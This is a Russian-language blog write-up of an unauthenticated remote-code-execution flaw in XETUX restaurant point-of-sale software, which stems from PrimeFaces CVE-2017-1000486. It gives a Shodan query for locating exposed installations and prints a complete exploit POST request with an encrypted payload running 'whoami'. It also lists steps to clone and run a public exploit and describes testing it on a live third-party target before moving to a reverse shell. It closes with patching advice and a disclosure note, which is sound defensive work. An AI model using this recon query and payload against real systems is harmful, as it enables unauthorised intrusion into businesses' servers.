От стола к коду: Путешествие через уязвимость RCE в POS для ресторанов

В этот раз мы случайно наткнулись на уязвимость, присутствующую в нескольких приложениях POS для ресторанов XETUX, которое является решением для мониторинга и автоматизации ресторанов. В Панаме этот инструмент широко используется многими ресторанами.

Присутствующая уязвимость — это RCE (удаленное выполнение кода), которая позволяет злоумышленникам выполнять код без аутентификации и получать привилегии на цели.

1. Разведка

Как только мы обнаружили, что в приложении Xetux присутствует библиотека, называемая Primefaces, отвечающая за генерацию PDF, мы решили выполнить поиск в Shodan для выявления возможных целей

http.title:"@XETUX" country:PA

Поиск выдал 40 результатов и 334 в мире

Приступаем к проверке уязвимости на одной из целей, не находящихся в Панаме. Анализируя результаты, бэкенд:

Мы видим, что приложение установлено со всеми привилегиями nt authority\system. Давайте объясним, что происходит далее:

Приложение использует Apache Tomcat в качестве сервера, для бэкенда используется Java. В приложении используется сторонняя библиотека или плагин под названием Primefaces. Проблемный путь — это эндпоинт javax.faces.resource/dynamiccontent.properties.xhtml

При поиске информации об этой библиотеке мы нашли уязвимость. Primefaces загружает динамический контент следующим образом

/javax.faces.resource/dynamiccontent.properties.jsf?ln=primefaces&pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl&forcereload=1523006610695&pfdrid_c=true

Проблема находится в параметре pfdrid

pfdrid=dY1NMdRjZ4sqkGAPrRzKkmxm5b1DSrlJ7VXTVU2i7gmrhtVAkmH7aR8cUk7h%2BTgl

Значение параметра зашифровано, и нет способа проверить, будет ли запрос правильно расшифрован. К сожалению, если не изменить значения ключа по умолчанию, можно запросить генерацию ключа по умолчанию. К счастью для нас, все протестированные экземпляры использовали ключ по умолчанию.

Также можно провести атаку Padding Oracle и получить ключ с помощью инструмента Padbuster. Ниже мы делимся запросом

POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: ip:9090
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1643

pfdrt=sc&ln=primefaces&pfdrid=4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel%2Fv4YXvibdOn52ow4M6lDaKd9Gb8JdQqbACZNWVZpVS%2B3sX1Hoizouty1mYYT4yJsKPnUZ0LUHDvN0GB5YLgX1PkNY%2B1ZQ%2FnOSg5J1LDyzAjBheAxLDODIVcHkmJ6hnJsQ0YQ8bMU5%2B%2BTqeD4BGqCZMDjP%2BZQvveiUhxsUC%2F%2BtPqnOgFSBV8TBjDSPNmVoQ9YcKTGelKuJjS2kCXHjcyz7PcQksSW6UUmKu9RhJ%2Bx3Mnx6j56eroVPWnM2vdYRt5An6cLo1YPXu9uqriyg1wgm%2F7xYP%2FUwP1q8wfVeyM4fOw2xJzP6i1q4VLHLXi0VYHAIgaPrZ8gH8XH4X2Kq6ewyrJ62QxBF5dtE3tvLAL5tpGxqek5VW%2BhZFe9ePu0n5tLxWmqgqni8bKGbGrGu4IhXhCJhBxyelLQzPGLCfqmiQwYX5Ime9EHj1k5eoWQzH8jb3kQfFJ0exVprGCfXKGfHyfKfLEOd86anNsiQeNavNL7cDKV0yMbz52n6WLQrCAyzulE8kBCZPNGIUJh24npbeaHTaCjHRDtI7aIPHAIhuMWn7Ef5TU9DcXjdJvZqrItJoCDrtxMFfDhb0hpNQ2ise%2BbYIYzUDkUtdRV%2BjCGNI9kbPG5QPhAqp%2FJBhQ%2BXsqIhsu4LfkGbt51STsbVQZvoNaNyukOBL5IDTfNY6wS5bPSOKGuFjsQq0Xoadx1t3fc1YA9pm%2FEWgyR5DdKtmmxG93QqNhZf2RlPRJ5Z3jQAtdxw%2BxBgj6mLY2bEJUZn4R75UWnvLO6JM918jHdfPZELAxOCrzk5MNuoNxsWreDM7e2GX2iTUpfzNILoGaBY5wDnRw46ATxhx6Q%2FEba5MU7vNX1VtGFfHd2cDM5cpSGOlmOMl8qzxYk1R%2BA2eBUMEl8tFa55uwr19mW9VvWatD8orEb1RmByeIFyUeq6xLszczsB5Sy85Y1KPNvjmbTKu0LryGUc3U8VQ7AudToBsIo9ofMUJAwELNASNfLV0fZvUWi0GjoonpBq5jqSrRHuERB1%2BDW2kR6XmnuDdZMt9xdd1BGi1AM3As0KwSetNq6Ezm2fnjpW877buqsB%2BczxMtn6Yt6l88NRYaMHrwuY7s4IMNEBEazc0IBUNF30PH%2B3eIqRZdkimo980HBzVW4SXHnCMST65%2FTaIcy6%2FOXQqNjpMh7DDEQIvDjnMYMyBILCOCSDS4T3JQzgc%2BVhgT97imje%2FKWibF70yMQesNzOCEkaZbKoHz498sqKIDRIHiVEhTZlwdP29sUwt1uqNEV%2F35yQ%2BO8DLt0b%2BjqBECHJzI1IhGvSUWJW37TAgUEnJWpjI9R1hT88614GsVDG0UYv0u8YyS0chh0RryV3BXotoSkSkVGShIT4h0s51Qjswp0luewLtNuVyC5FvHvWiHLzbAArNnmM7k%2FGdCn3jLe9PeJp7yqDzzBBMN9kymtJdlm7c5XnlOv%2BP7wIJbP0i4%2BQF%2BPXw5ePKwSwQ9v8rTQ%3D%3D&cmd=whoami

2. Обратная оболочка

Как мы упоминали ранее, библиотека, содержащая RCE, — это Primefaces, для которой существует публичный эксплойт CVE-2017-1000486

Протестируем уязвимость, скачав эксплойт

git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt

Запускаем эксплойт

Он выдаст нам ключ и запрос

Вернет результат команды

Теперь приступим к получению обратной оболочки для доступа к серверу:

3. Заключительные соображения

• Важно отметить, что проблема применима не только к программному обеспечению Xetux, она связана с библиотекой Primefaces и встречается в других приложениях, таких как MaxView Storage Manager и DOCBOX.
• Исправления для этой уязвимости были выпущены много лет назад, в 2017 году. Рекомендуется обновить Primefaces.
• Доступ к эндпоинту осуществляется без аутентификации, поэтому любой может отправлять запросы. Следует проверять, являются ли запросы допустимыми.
• Если вы используете какое-либо из упомянутых приложений, делимся репозиторием nuclei, с помощью которого можно проверить, уязвимы ли вы: https://gitlab.com/t0adsec/nuclei-templates
• Мы ответственно проинформировали поставщиков приложения в соответствующих странах, однако на данный момент мы не получили от них ответа.

4. Ссылки

• XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行漏洞-CSDN博客. (б. д.). https://blog.csdn.net/holyxp/article/details/134402720
• Gobysec. (б. д.). GobyVuls/GobyVuls-Document.md at master · gobysec/GobyVuls. GitHub. https://github.com/gobysec/GobyVuls/blob/master/GobyVuls-Document.md
• Lindner, S. (2018, 26 апреля). PrimeFaces Expression Language Remote Code Execution fix. illucIT Software GmbH. https://www.illucit.com/en/java-ee/primefaces-expression-language-remote-code-execution-fix